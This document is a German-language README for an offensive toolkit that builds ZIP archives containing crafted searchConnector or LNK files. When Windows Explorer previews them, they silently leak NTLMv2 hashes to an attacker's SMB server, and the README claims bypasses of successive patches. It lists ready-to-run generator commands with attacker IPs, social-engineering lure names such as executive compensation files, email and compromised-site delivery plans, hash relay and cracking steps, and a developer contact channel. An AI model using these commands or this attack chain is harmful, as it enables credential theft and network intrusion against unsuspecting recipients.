Windows Datei-Explorer Zero-Click NTLMv2-SSP Hash-Offenlegung

🎥 Demonstrations-PoC + März 2025 Patch-Bypass

Klicken Sie auf das Bild oben, um die Demonstration der Sicherheitslücke anzusehen

📋 Technische Übersicht

Kernmechanismus der Sicherheitslücke

Das grundlegende Sicherheitsproblem liegt in der automatischen Verarbeitung eingebetteter UNC-Pfade durch die Windows-Shell in bestimmten Dateiformaten während der Vorschauoperationen. Wenn Benutzer ZIP-Archive mit speziell präparierten Dateien öffnen, löst der Windows-Explorer automatisch UNC-Pfade ohne Zustimmung des Benutzers auf, initiiert SMB-Authentifizierungsversuche und legt NTLMv2-SSP-Hashes gegenüber Angreifer-kontrollierten Servern offen.

Komponenten der Angriffsfläche

• Dateiformat-Parsing: Automatische Verarbeitung von XML-basierten Shell-Dateien und LNK-Verknüpfungseigenschaften durch die Windows-Shell
• ZIP-Container-Bypass: Archivvorschaufunktion, die Mark-of-the-Web (MOTW)-Schutzmaßnahmen umgeht
• Authentifizierungsauslöser: Automatische UNC-Auflösung während der Metadatenextraktion und Symbolabrufvorgänge

🏗️ Architekturentwicklung

🔰 Phase 1: SearchConnector-basierte Offenlegung (CVE-2025-24054)

Datei: ntlm-disclosure-poc.py

Diese erste Implementierung nutzt Windows-Suchverbinder-Dateien (.searchConnector-ms) aus, bei denen es sich um XML-basierte Konfigurationsdateien handelt, die Suchspeicherorte für den Windows-Explorer definieren. Die Sicherheitslücke wird ausgelöst, wenn Windows den eingebetteten UNC-Pfad im simpleLocation-Element während der ZIP-Archivvorschau automatisch verarbeitet.

Technische Merkmale:

• XML-basierte Payload-Struktur gemäß Microsoft-Schema-Spezifikationen
• Einbettung von UNC-Pfaden in searchConnectorDescription-Elemente
• Automatische Verarbeitung durch Windows-Suchindex und Explorer-Shell
• Umgeht traditionelle Dateiausführungsbeschränkungen

🔰 Phase 2: LNK-in-ZIP-Bypass (CVE-2025-50154 / CVE-2025-59214)

Datei: patch_bypass.ps1

Diese verbesserte Technik adressiert Microsofts ersten Patch, indem sie LNK-Dateieigenschaften ausnutzt. Der Angriff nutzt das Verhalten des Windows-Explorers aus, Symbolmetadaten abzurufen und Zielpfade während der ZIP-Dateivorschau aufzulösen, während er durch sorgfältige Eigenschaftskonfiguration den Zero-Click-Exploitationsvektor beibehält.

Technische Merkmale:

• LNK-Dateien mit UNC-Pfaden in der TargetPath-Eigenschaft
• Lokale Symbolreferenzen zur Umgehung anfänglicher Erkennungsmechanismen
• Automatische Eigenschaftenextraktion durch die Windows-Shell während der Vorschau
• Beibehaltung der Dateiformat-Legitimität bei gleichzeitiger UNC-Auflösung

🔧 Voraussetzungen

🔰 Phase 1: Python-Implementierung (CVE-2025-24054)

# Basic usage
python ntml-disclosure-poc.py 192.168.1.100

# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package

🔰 Phase 2: PowerShell-Bypass (CVE-2025-50154/59214)

# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100

# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


Parameter
-IP (erforderlich): Ziel-SMB-Server-IP-Adresse
-Share: SMB-Freigabename (Standard: 'share')
-File: Zieldateiname (Standard: 'payload.exe')
-Lure: Social-Engineering-Dateiname (Standard: 'Your_File_For_Payload_Here')
-OutDir: Ausgabeverzeichnis (Standard: aktuelles Verzeichnis)
-KeepLnk: LNK-Datei nach ZIP-Erstellung beibehalten

graph TD
    A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[🛡️ Microsoft Patch]
    D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
    E --> F[🔴 Current State<br/>Active Exploitation]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 Technische Spezifikationen

1. 📦 Payload-Generierung
   • Erstelle schädliche Datei (Suchverbinder/LNK) mit UNC-Pfad
   • Verpacke in ZIP-Archiv mit verlockendem Namen
2. 📤 Zustellung
   • Verteile ZIP per E-Mail/Web/Download
3. 💥 Ausnutzung
   • Opfer öffnet ZIP im Windows-Explorer
   • Automatische Dateivorschau löst UNC-Auflösung aus
   • NTLMv2-SSP-Hash an Angreifer übertragen
4. 🎭 Nach-Exploitation
   • Hash-Erfassung und Relay-Angriffe
   • Passwort-Knackversuche

💀 Einsatzszenarien

📨 Szenario 1: Direkte ZIP-Verteilung

# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments

🔄 Szenario 2: LNK-Dateiübertragung

# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites

🎯 Szenario 3: Gezieltes Social Engineering

.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

Kontakt zum Entwickler

- Group & Contact: t.me/initial_persistence
- Email: [email protected]